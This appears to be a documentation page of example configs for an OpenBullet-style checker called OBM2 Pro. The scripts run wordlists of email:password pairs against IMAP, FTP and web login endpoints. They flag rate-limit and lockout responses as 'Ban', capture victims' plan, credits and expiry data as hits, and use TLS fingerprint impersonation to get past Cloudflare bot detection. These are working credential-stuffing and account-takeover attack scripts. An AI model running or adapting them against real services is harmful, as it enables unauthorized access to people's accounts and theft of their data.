Examples — OBM2 Pro

📧

IMAP Credential Check

Verify email/password pairs against an IMAP server. Classifies success, failure, and ban.

# IMAP Credential Checker
# Wordlist format: email:password
# Split into <email> and <pass> via wordlist type or SET

IMAP Connect "imap.gmail.com" "993" (UseSSL=True) 30000
IMAP Login "<email>" "<pass>"
IMAP GetMailCount "totalMails"
IMAP Logout
IMAP Disconnect

KEYCHECK
  KEYCHAIN Success OR
    KEY "<ERROR>" DoesNotExist
  KEYCHAIN Failure OR
    KEY "<ERROR>" Contains "Authentication failed"
    KEY "<ERROR>" Contains "Invalid credentials"
  KEYCHAIN Ban OR
    KEY "<ERROR>" Contains "Too many"
    KEY "<ERROR>" Contains "rate limit"
  KEYCHAIN Retry OR
    KEY "<ERROR>" Contains "timed out"
    KEY "<ERROR>" Contains "Connection refused"

🌐

HTTP Login + Parse Capture

POST login form, parse user data from the JSON response, capture for Hits DB.

# HTTP Login with capture
REQUEST GET "https://example.com/csrf"
PARSE <SOURCE> JSON "csrfToken" -> "csrf"

REQUEST POST "https://example.com/api/login"
  CONTENT-TYPE:"application/json"
  POSTDATA:"{\"email\":\"<email>\",\"password\":\"<pass>\",\"_csrf\":\"<csrf>\"}"

# Check for successful login
IF "<RESPONSECODE>" EqualTo "200"
  PARSE <SOURCE> JSON "user.plan" -> "plan" CAP
  PARSE <SOURCE> JSON "user.credits" -> "credits" CAP
  PARSE <SOURCE> JSON "user.expiresAt" -> "expiry" CAP
END

KEYCHECK
  KEYCHAIN Success OR
    KEY "<RESPONSECODE>" EqualTo "200"
    KEY "<SOURCE>" Contains "\"authenticated\":true"
  KEYCHAIN Failure OR
    KEY "<RESPONSECODE>" EqualTo "401"
    KEY "<SOURCE>" Contains "invalid_credentials"
  KEYCHAIN Ban OR
    KEY "<RESPONSECODE>" EqualTo "429"

🔒

TLS Request Login (Cloudflare-protected site)

Use TLS fingerprint impersonation to bypass bot-detection on Cloudflare-protected endpoints.

# TLS login bypassing JA3 fingerprinting
TLSREQUEST GET "https://protected-site.com/login" TLSPROFILE:"Chrome"
PARSE <SOURCE> LR "name=\"_token\" value=\"" "\"" -> "csrfToken"

TLSREQUEST POST "https://protected-site.com/login" TLSPROFILE:"Chrome"
  CONTENT-TYPE:"application/x-www-form-urlencoded"
  POSTDATA:"_token=<csrfToken>&email=<email>&password=<pass>"

KEYCHECK
  KEYCHAIN Success OR
    KEY "<ADDRESS>" Contains "/dashboard"
  KEYCHAIN Failure OR
    KEY "<SOURCE>" Contains "Invalid credentials"
  KEYCHAIN Ban OR
    KEY "<RESPONSECODE>" EqualTo "403"

📁

FTP Credential Check + File Listing

Validate FTP credentials and capture a list of files in the root directory.

# FTP credential check
# Wordlist format: host:user:pass  (use PARSE to split)
PARSE "<data>" LR "" ":" -> "ftpHost"
PARSE "<data>" LR ":" ":" -> "ftpUser"
PARSE "<data>" LR ".*:.*:" "" -> "ftpPass"

FTP Connect "<ftpHost>" "21" "<ftpUser>" "<ftpPass>" (UseSSL=False) 15000
FTP ListFiles "/" "rootFiles"
FTP Disconnect

KEYCHECK
  KEYCHAIN Success OR
    KEY "<ERROR>" DoesNotExist
  KEYCHAIN Failure OR
    KEY "<ERROR>" Contains "530"
    KEY "<ERROR>" Contains "Login"
  KEYCHAIN Retry OR
    KEY "<ERROR>" Contains "timed out"

🤖

Selenium Form Fill & Unit Test

Fill a login form with Selenium, verify dashboard title, capture plan type.

# Selenium login test
NAVIGATE "https://example.com/login" TIMEOUT:15000

ELEMENTACTION id "email" ClearAndType "<email>"
ELEMENTACTION id "password" ClearAndType "<pass>"
ELEMENTACTION id "submit" Click

# Wait for redirect
UTILITY Wait 2000

ELEMENTACTION selector "h1.plan-name" GetText -> "planName" CAP
EXECUTEJS "return window.location.pathname;" -> "currentPath"

KEYCHECK
  KEYCHAIN Success OR
    KEY "<currentPath>" Contains "/dashboard"
  KEYCHAIN Failure OR
    KEY "<currentPath>" Contains "/login"
    KEY "<SOURCE>" Contains "Invalid"

📧

Email Verification Code Extraction

Register an account, wait for the verification email, extract the code via IMAP, submit it.

# Register account
REQUEST POST "https://example.com/api/register"
  CONTENT-TYPE:"application/json"
  POSTDATA:"{\"email\":\"<email>\",\"password\":\"<pass>\"}"

# Wait for email to arrive
UTILITY Wait 5000

# Connect to IMAP and fetch verification email
IMAP Connect "imap.gmail.com" "993" (UseSSL=True) 30000
IMAP Login "<email>" "<pass>"
IMAP SearchMails "FROM \"noreply@example.com\" SUBJECT \"Verify\"" "mailCount"
IMAP ReadMail 0 "verifyMail"
IMAP Logout
IMAP Disconnect

# Extract 6-digit code from email body
PARSE "<verifyMail>" REGEX "(\d{6})" GROUP:1 -> "verifyCode"

# Submit the code
REQUEST POST "https://example.com/api/verify"
  CONTENT-TYPE:"application/json"
  POSTDATA:"{\"email\":\"<email>\",\"code\":\"<verifyCode>\"}"

KEYCHECK
  KEYCHAIN Success OR
    KEY "<RESPONSECODE>" EqualTo "200"
    KEY "<verifyCode>" Exists
  KEYCHAIN Failure OR
    KEY "<ERROR>" Contains "Authentication"
    KEY "<mailCount>" EqualTo "0"